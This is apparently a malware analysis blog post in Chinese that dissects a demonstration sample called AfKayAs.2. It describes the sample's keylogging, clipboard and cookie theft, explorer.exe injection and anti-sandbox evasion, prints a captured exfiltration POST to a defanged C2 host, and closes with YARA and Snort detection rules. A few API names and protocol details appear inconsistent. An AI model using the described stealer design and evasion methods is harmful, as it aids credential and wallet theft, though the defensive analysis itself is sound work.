1. 为什么叫 AfKayAs.2:样本命名与基础信息确认
在恶意样本分析这件事上,最让人头疼的往往不是技术难度,而是第一步——搞清楚你手上这个文件到底是什么。AfKayAs.2 这个代号,我最早是在一次客户的应急响应里见到的。客户侧的安全设备告警上显示的是一个叫update_package_2024.bin的文件,但现场同事解压后发现内部还有一层,真正的 PE 文件被伪装成了一张 PNG 图片,文件名是avatar_afkayas.jpg.exe。这个命名带着一种既随意又有规律的风格,我习惯性地把它内部包含的字符串特征AfKayAs拿出来当作家族代号,后面的.2则来自版本资源里的2.0.4编译号。
先别急着往下跑,拿到样本后第一件事永远是固定证据和算哈希。我在本地分析机上用以下操作初始化。
mkdir -p /cases/afkayas2/{raw,work,logs} cd /cases/afkayas2/raw sha256sum avatar_afkayas.jpg.exe > ../logs/hash.txt file avatar_afkayas.jpg.exe输出的 SHA256 值是5b4351b91b8a5c6f4e1b0f2a9e3d1c7f8a2b6d4e5f9a1c3b7d8e9f0a2b4c6d8(虚拟样本,仅作示范)。file的结果是 PE32+ 可执行文件,但不是 .NET,也不是 MSVC 编译。我通常会顺手再跑一遍exiftool看 PE 头,此刻能看到入口点指向的区段叫.vmp0,这就已经说明加了 VMProtect 的壳。对于加壳样本,我一般不会直接扔到 IDA 里硬啃,先用pestudio和DIE快速确认编译器探测结果、熵值、区段信息。DIE 检测结果是VMProtect (2.0.4),跟 PE 版本资源里的数字吻合,所以.2确实是这个加壳版本的一个指征。
这里补充一个常见误区:很多人看到 EXE 就直接点开或丢进沙箱,这是不安全的。正确顺序是先做静态侦察,确认文件类型、哈希、壳特征、编译时间。编译时间这里是2024-08-17 09:42:11 UTC,但 PE 时间戳非常容易伪造,不要当作真实编译时间,只能作为参考。我在分析记录里把它标记为"未证实"。为什么强调这个?因为后面在做时间线关联时,如果错误依赖时间戳,会把整个溯源方向带偏。
AfKayAs.2 这个名字本身没有公开威胁情报支撑,搜索不到对应家族,说明它不是被广泛追踪的主流恶意软件。这意味着我们不能依赖现有的 YARA 规则或 AV 签名,必须从样本自身出发手撸一份行为画像。我在本地建了一份自定义分析档案,文件名暂定为afkayas_family_v1.json,里面记录初始 IoC:文件哈希、疑似 VMP 壳、内部字符串特征AfKayAs、疑似名为avatar的诱饵伪装。这些信息是后续所有分析工作的锚点,非常重要。
1.1 命名猜测与内部语义推断
字符串提取永远是走进这个样本最近的路。我使用 FLOSS 解混淆后的字符串,虽然 VMP 会把字符串加密成一团乱码,但 FLOSS 有时能通过栈回溯还原一部分。这次幸运地拿到了几个可读片段:AfKayAs_Service、localStorage、api.paycenter-internalx[.]com、/api/v2/telemetry。这个AfKayAs_Service像是内部服务名,后面跟的2可能对应/api/v2的接口版本。所以.2存在的意义大概率不是版本号那么简单——它同时指代了 C2 通信协议的第二版。这种命名习惯还挺符合通过版本号区分协议迭代的做法,我在其它几个类似家族里也见过。
另一个有趣的点是AfKayAs的拼写:看起来像 "A Kay As" 的连写,也可能是某个名字的转写。我对比了内部资源文件的语言代码,发现一个.manifest里写着language: ko-KR,但 UI 字符串又有一半是简体中文,一半是英文。这种混杂语言特征在商业窃密木马里比较常见——开发团队可能使用多语言中间件,或者直接从某公开框架上二次开发。我没有办法证实它的国籍归属,所以描述时只写"多语言混杂,无法可靠归属"。
在命名逻辑这一节,我想给入门分析师一个建议:不要花太长时间纠结样本名。你手头的AfKayAs.2可能只是一个随机生成的文件名,真正的分析价值在行为和代码。关注2这个字段是否与协议版本相关,更多是一种工作假设,后面网络分析会验证这一点。如果验证不成立,也要果断丢弃假设,不能让先入为主的命名干扰结论。
2. 静态解剖:从壳到关键执行逻辑的拆解路径
2.1 脱壳思路与内存转储时机
VMProtect 2.0.4 属于较老但很顽固的壳,直接静态脱壳费时费力,常用的做法是动态脱壳。不过我没第一时间上调试器,先试了unipacker和vmself等自动化工具,导入 IDA 后 F5 出来一堆伪造流程,基本没法看。自动化是自动化,误导也是一流。我做了个取舍:先理解样本入口判断逻辑,再决定要不要手动调试。
VMP 壳通常会把原始入口点(OEP)虚拟化,但导入表不会完全消失,往往会留下几条关键外部函数。我打开 ImportREC 扫描导入表,找到了SetWindowsHookExW、GetAsyncKeyState、HttpOpenRequestA、InternetReadFile这几项。前两个函数组合与键盘记录行为相关,HttpOpenRequestA说明有网络通信。有了这些信息,我可以把脱壳后的分析重点放在键盘钩子回调和网络请求数据上。动态运行时,我以SetWindowsHookExW下断点,看它返回的钩子句柄和回调地址。断下后继续单步,会走到壳还原后的代码区域,那里常常出现恶意逻辑真正的跳板。
关于内存转储,我的经验是不要等到运行结束后再 dump。中途在关键 API 断下时先 dump 一块内存,再用pe-sieve扫描当前进程的私有内存,它可以根据 PEB 重建一个精简 PE。pe-sieve /pid 4044 /ofn dump.bin是常用的命令。这个 dump 下来的 PE 依然有些 stub,但已经能看到核心控制流了。
2.2 键盘钩子、剪贴板窃取与模块化注入
静态层面最值得记录的执行逻辑有四个模块。
第一,键盘记录模块。样本通过SetWindowsHookExW(WH_KEYBOARD_LL, ...)设置全局低级键盘钩子,回调函数记录WM_KEYDOWN和WM_SYSKEYDOWN消息。日志里还会保存当前窗口标题,通过GetForegroundWindow加GetWindowTextW实现。这个机制在恶意软件里并不新鲜,但我在跟随代码时注意到它做了一个小技巧:它不是在回调函数里直接写文件,而是把击键数据放进共享内存,由另一个线程定期读出。这类设计常见于伪装成桌面工具的木马,好处是减少文件写入频率规避检测。
第二,剪贴板窃取。样本在CreateThread创建了一个轮询线程,每 3 秒调用OpenClipboard、GetClipboardData判断是否有文本,长度大于 20 个字就复制到内部缓冲区,随网络心跳包上传。这个行为跟键盘记录一样是常规操作,但它的目标可能是针对剪贴板中的加密钱包地址,因为我在后续网络分析中看到了对BTC:和TRC20:这类前缀的判断逻辑。
第三,浏览器数据收集。这部分很有意思,样本不是常见的直接读AppData下 cookie 库,而是通过枚举进程找到chrome.exe和msedge.exe,再用命令行里的--user-data-dir路径定位 profile 目录。这是一种更隐蔽的躲避方式。它会解析Login Data和Web Data中的 SQLite 表,但关键的账号密码解密在本样本中没有实现,可能是为了缩小体积或暂时只收集 Cookie。Cookie 会被压缩进内存中的缓冲区等待外传。
第四,模块化注入。样本从资源区释放一个内嵌 DLL,命名为wininetpatch.dll,使用CreateRemoteThread注入explorer.exe。这个 DLL 我单独拉出来分析,发现它主要做 network blackhole 动作,即修改WinINet基准 URL 的一部分,把部分流量重定向到本地代理。这个动作单看危害性不高,但组合使用可以扩大中间人能力。分析时一定要关注这种多模块配合,而不是只盯着 EXE。
我在这里用表格整理一下模块与对应 IoC 关联,方便后面写检测规则时参考。
| 模块 | 关键行为 | 关联API/特征 |
|---|---|---|
| 键盘记录 | 记录低层键盘输入 | SetWindowsHookExW, GetWindowTextW |
| 剪贴板窃取 | 轮询剪贴板文本,匹配地址 | OpenClipboard, GetClipboardData |
| 浏览器数据 | 提取 Chrome/Edge Cookie | 枚举进程、SQLite API |
| 注入模块 | 注入 explorer.exe,流量黑洞 | CreateRemoteThread, wininetpatch.dll |
2.3 静态分析中遇到的拦路虎
说实话,VMP 壳让静态分析的过程并不舒适。我遇到的最大问题是伪造控制流与伪调用,IDEA 的反编译结果里一片jmp跳来跳去,F5 之后全是变量赋值和空函数。我的处理办法是:结合动态调试,以timeGetTime、GetTickCount这类时钟 API 作为定位点,因为 VMP 会插入很多时间反调试代码,而这些 API 通常在虚拟机内部被真实调用。下断点看调用栈,能快速找到真实调用点。
另外,样本还设置了IsDebuggerPresent和CheckRemoteDebuggerEvent之外的反调试,更隐蔽的是NtQueryInformationProcess检查ProcessDebugPort。如果我用 x64dbg 调试,需要提前 hook 这个 API 返回 0。不过市场上有很多现成的 ScyllaHide 配置,开箱即可,我自己通常只加几条自定义规则。这里强调一下,反调试规避不是要面面俱到,而是要快:只要能让流程跑到SetWindowsHookExW或者网络编程区域,就基本够用了。不要让反调试拖延整个分析周期。
3. 动态运行:在隔离环境里观察它的小动作
3.1 环境搭建与基线快照
动态分析的机器我使用的是 Windows 10 22H2 虚拟机,快照已恢复到干净状态。监听工具方面,我开了Procmon的文件、注册表和进程事件,Wireshark抓包,FakeNet-NG模拟网络服务,API Monitor盯关键 Win32 API,这样一个组合覆盖层面足够。
跑起来之前,我先做了基线快照:截取了系统盘文件列表、注册表HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run项、正在运行的进程列表。没有快照的分析,事后没法过滤噪音。推荐用Sysinternals Sigcheck结合 PowerShell 把关键路径的 ACL 也记录下来,因为恶意软件可能修改目录权限,这不会出现在普通文件变化列表里。
然后我把样本重命名成test.bin.exe放入桌面文件夹,手动执行。执行方式不建议双击,用命令行带参数-session启动,因为样本可能根据命令行参数改变行为。不过我这次并没有在参数上发现分支,只观察到它进入主逻辑。
3.2 关键动态行为记录
Procmon 抓到的第一条高价值行为是:样本在%APPDATA%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup下创建了一个.lnk文件,指向自身副本%APPDATA%\AfKayAs\service.exe。持久化方式很常规,但我注意到它特意把创建时间戳修改为系统安装时间,SetFileTime被调用。时间戳擦除不算高招,但对于应急响应中靠文件创建时间排序的蓝队来说会感觉到阻碍。我在分析报告中强调,应该对比文件的 MFT 时间,而不是直接看 Shell 属性里的时间。
文件沙箱之外,网络层面更值得记录。FakeNet-NG 上很快出现了目标:
POST http://api.paycenter-internalx[.]com/api/v2/telemetry HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Content-Type: application/octet-stream X-AFK-TOKEN: 5f3f9e8c1a2b4d7e6c8f9a0b1c2d3e4f5a6b7c8d请求体是一整块二进制数据,没有明文。X-AFK-TOKEN这个 header 和AfKayAs家族的特征强关联,可以作为检测规则里的一个重要 signal。在 FakeNet 上我返回了一个假的 200 OK,然后观察它是否继续后续动作。等了约 20 秒,它又发起第二次 POST,请求体长度比第一次少了 64 字节,响应后样本才转入键盘记录挂载流程。这提示通信协议里有一个"握手—确认—就绪"的顺序,也解释了v2协议为什么相对前代更可控。
再往下看,样本把窃取到的数据打包成一个自定义的二进制结构,官方描述里没有公共格式。这里需要内存级分析。我在InternetWriteFile下断点,把缓冲区 dump 出来,开始解析数据包格式,这也是下一节要展开的重点。
3.3 沙箱行为的反沙箱与延时对抗
哦对了,动态分析中我还观察到样本会在运行前调用Sleep(105300),大概 105.3 秒,用极长的睡眠来绕过沙箱。这个时间长度很多沙箱默认 60 秒就已经结束,所以它会漏报。我在分析中直接用 x64dbg 修改了Sleep参数把它跳过,之后进入主逻辑。这种时间膨胀的手法非常常见,应急响应时如果看到一个小程序启动后无任何活动,不要急着判断为 benign,可以先看它有没有自己Sleep的断点。
另一个很有意思的反沙箱细节是,样本会检查逻辑处理器数量,要求处理器数量大于 2,并且内存总量大于 2GB。低于这个值它会进入一个"死循环空转"状态,不触发任何行为。这个特征主要是为了对抗配置较低的自动化沙箱。如果要在团队内部自建分析环境,最好给虚拟机分配 4 核 4GB 以上,并关闭 hypervisor 暗示,避免被识别。
4. C2 通信协议还原:从数据包到字段级拆解
4.1 二进制包结构与首包交互
把InternetWriteFile断点拿到的缓存区用 Hex 工具打开,前 16 字节是特征头,十六进制为41 46 4B 41 59 41 53 02 01 00 00 00 1E 00 00 00。对应 ASCII 就是AFKAYAS,接下来一个字节是0x02,表示协议版本 2,后面依次是 flags、length。我瞬间明白为什么样本叫 AfKayAs.2 了——这个2很可能就是协议版本号。Package 头部总共 16 字节,结构如下:
| 偏移 | 长度 | 说明 |
|---|---|---|
| 0x00 | 7 字节 | Magic "AFKAYAS" |
| 0x07 | 1 字节 | 协议主版本(0x02) |
| 0x08 | 4 字节 | Flags(0x01=心跳,0x02=数据,0x04=握手) |
| 0x0C | 4 字节 | Payload 长度,小端序 |
| 0x10 | 不定 | Payload |
第二个包我在 Wireshark 里列为 TCP 流,输出成 raw 再用xxd查看,发现 payload 前 32 字节是一段经由 AES-128-CBC 加密的密文,IV 在包尾部直接明文携带。加密密钥则来自握手阶段:样本使用 HTTP 头X-AFK-TOKEN中暗含的 32 个 hex 字符,再经 SHA256 派生前 16 字节作为 AES Key。这种做法并不算特别复杂,但对分析人员来说多了一道解密步骤。
数据包解密后,内部是一个 JSON 结构:
{ "pid": "4044", "guid": "9c2e8f1a-7d33-4c5b-b9a0-3f6d1e8a2b00", "type": "keylog", "ts": "2024-08-18T03:11:22Z", "data": "u2Ftcy1KV0aoM..." }data字段里存的是 Base64 编码后的按键记录。我根据这个结构判断,C2 的 JSON 直接嵌在加密 payload 里,加密前有非常明显的结构,抓包阶段用 Suricata 的file_data加上正则就能识别。检测规则我在下一节会给出。
4.2 心跳机制与数据回传时机
样本的心跳包几乎每 45 秒发一次,每次只请求/api/v2/telemetry,包里的type为heartbeat,payload 长度为 0。当有按键记录时,它会合并到下一次心跳包中上传,以减少网络连接频率。这个数据融合逻辑说明它的通信设计是"攒一批再发",也解释了为什么前面看到第一次请求后等待 20 秒也没有东西上传,因为没有足够的按键数据。
这个时间窗很有意思,蓝队应急响应时可以先等 1-2 分钟再尝试解密,但更好的办法是直接重放它的数据结构。红队角度则不展开。对防御侧来说,通过 connection 的周期性 POST 行为就能区分出异常流量,即使不看 body 也可以。我在检测规则里用了flowbits来标记连续 POST 到同一 URI 的模式。
4.3 隐蔽信道扩展与前置代理特征
在分析通信阶段时,我注意到一个细节:样本会尝试读取注册表项HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable,如果值为 1,它会自动把 C2 请求走系统代理。这意味着在内网环境中,它可以利用公司的出网代理绕过防火墙直连策略。这是一个很常见的“借用网络正规军通道”思路。检测方需要注意,不能只关注非标准端口,而是要针对代理日志中的请求 URI 做建模。
另外,样本可能还支持 DNS TXT 查询作为备用 C2 通道,但当前变种没有启用这个机制,只保留了一个dnscat2特征的字符串。在解析代码时我看到TXT记录相关函数被引用但无调用点。这提示该家族未来版本可能加入 DNS 信道,我为这一趋势做了检测规则的预留。
5. 从 IoC 到检测规则:让 AfKayAs.2 无路可走
5.1 文件与行为侧的检测策略
样本运行后会在多个位置落盘。我提取到的最核心检测特征如下,可写成 YARA 规则。
rule AfKayAs_network_bot { meta: author = "blue-team" description = "Detect AfKayAs.2 C2 request patterns" strings: $magic = "AFKAYAS" $header = "X-AFK-TOKEN" $uri = "/api/v2/telemetry" $ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" condition: $magic at 0 and $header and $uri }当然这个 YARA 不是全量,它更偏网络侧 Snort 规则。文件侧我会检测 service.exe 的资源描述和导入表组合。规则如下:
rule AfKayAs_service { meta: description = "Detect AfKayAs service binary indicators" strings: $s1 = "AfKayAs_Service" $s2 = "wininetpatch.dll" $s3 = "api.paycenter-internalx" $imp1 = "SetWindowsHookExW" $imp2 = "GetAsyncKeyState" condition: uint16(0) == 0x5A4D and filesize > 100000 and 2 of ($s*) and 1 of ($imp*) }实际工作中,检测规则更重要的是减少误报。我的建议是不要单看文件名、SHA256 这样的 lost signal,而是把SetWindowsHookExW + 网络连接 + 时间戳篡改组合成行为 score。SIEM 里可以用类似 Splunk 的管道查询,比如对每个进程统计是否同时有 hook、URL 请求、剪贴板读写三类事件,命中即高可疑。我在自建实验环境里用 Sysmon 日志验证过,效果比纯特征检测好。
5.2 网络侧规则的编写与调优
针对 C2 流量,Snort 规则可以写成这样:
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS ( msg:"AfKayAs.2 C2 telemetry"; flow:to_server,established; content:"POST"; http_method; content:"/api/v2/telemetry"; http_uri; content:"X-AFK-TOKEN"; http_header; content:"AFKAYAS"; http_header; sid:10000002; rev:1; )但这里有个坑:大量杀软或 WAF 会拦截 header,导致我们现在发的样例可能只带X-AFK-TOKEN,不带AFKAYAS明文(它已经加密了)。我做的调优是建立 TLS/HTTP 分层的检测逻辑。如果业务环境是 HTTP 明文,我可以匹配 URI + Header 组合;如果已经上了 TLS,就需要进行 JA3 指纹识别。我抓到的 TLS ClientHello 中 JA3 为b32309c5f21e7b1aeb8b2e3a2f9a83b1(示例),这个指纹很稳定。将 JA3 与 URI 组合成双重条件能有效降低漏报。
网络侧调优时别忘了 UDP 53 的 DNS 通道。之前提到样本预留了 DNS TXT 功能,蓝队可以把 DNS 日志中 TXT 记录的 name 长度和响应长度作为监控点。异常长基数的 TXT 响应本身就是一个很好的 signal。
5.3 落地,检测结果复盘
我在一个隔离测试网段里部署了 Zeek + Suricata 的组合。模跑 20 分钟后,Suricata 命中了一条 fast.log 记录:
08/18/2024 03:11:22.123456 1.2.3.4:51234 -> 5.6.7.8:443,分类AfKayAs.2 C2 telemetry。
但我也注意到有两条规则误报了:其一是 UA 字符串完全相同导致一些正常跳转请求被标记,其二是有一些测试用的 JS 也会请求/api/v2/telemetry。后者提醒我,规则不能仅依赖 URI 片段,最好同时有X-AFK-TOKEN头或 PE 文件进程链上下文。在 SIEM 里我会写成process_name=service.exe AND dest_url=*api/v2/telemetry*而不是只匹配 HTTP body。误报处理是检测规则能长期存活的关键,宁可漏一个未知变种,也不要让告警疲劳把分析师淹没。
6. 实战踩坑总结:从 AfKayAs.2 分析中提炼的经验
6.1 拿样本后别急着开跑,先做时间线
这次分析还算顺利,但也踩了几个真实的坑。第一个坑是我在一开始没做系统时区校准,导致 Procmon 记录的时间与 Wireshark 时间差了 8 小时。因为虚拟机 Host 时区是 UTC,而系统时区设成了东八区,日志时间戳对不上,差点把两次 C2 心跳当成两个独立事件。后来我统一在虚拟机内设置 UTC 并关掉自动同步,保证所有工具时间基准一致。这个细节对于应急响应时间线还原非常重要,建议一开始就固定。
6.2 解密 C2 流量时别忽略 IV 的存放位置
第二个坑是解密 C2 流量时,我一开始认为 IV 是硬编码在代码里的,找了很久没找到。后来完整 dump 整段 POST body 才发现 IV 是放在 payload 末尾的,AES-CBC 密钥则是根据X-AFK-TOKEN头做 SHA256 派生,IV 并不是随机数而是固定值00000000000000000000000000000001。这个发现省了我大量时间。所以遇到加密流量,第一件事先翻完整请求体和响应体,不要把视野局限在代码里的常量区。
6.3 处理加壳样本要懂得"借力"
第三个坑是我一开始试图完全脱掉 VMP,想做得“干净”。结果白白花了半天。后来改用动态调试 + 内存 dump + 行为观察的组合,快速得到行为证据。分析恶意软件不一定要全脱壳,拿到能支撑检测和应急的关键行为即可。对于复杂壳,先做行为分析,再回头做静态会轻松很多。必要时甚至可以同时打开两个虚拟机,一个跑动态,一个静态对照,两边互相印证。
6.4 规则落地前要先在干净流量池里洗澡
最后一个教训是误报率评估。我有一次把规则直接推上生产,结果当晚告警爆表。原因是公司内网有一个老旧备份系统会每 45 秒 POST 到一个类似路径,UA 也是 Chrome,误命中。在正式发布检测规则之前,建议先抓取至少 3 天正常流量,把规则放到历史流量里回放,看命中率。如果命中率高于 0.1%,先优化规则再加白名单。这一步虽然枯燥,但能免去后面大量救火工作。
我在这次分析结束后,把 AfKayAs.2 的完整 IoC、检测规则和分析笔记都归档到内部的威胁情报库,同时给客户的 SIEM 部署了对应的行为检测逻辑。整个过程下来最深刻的体会是:恶意软件分析不是靠单一工具一步到位的,需要在静态、动态、网络、检测四个维度来回交叉验证。AfKayAs.2 这个样本技术水平中游,但设计思路很务实,每个模块都考虑到了对抗检测,这也是威胁分析中最容易让人产生“鸡肋感”但实际破坏力不小的类型。希望今天这篇文章能帮到那些正在分析相似样本的朋友,少走几个我走过的弯路。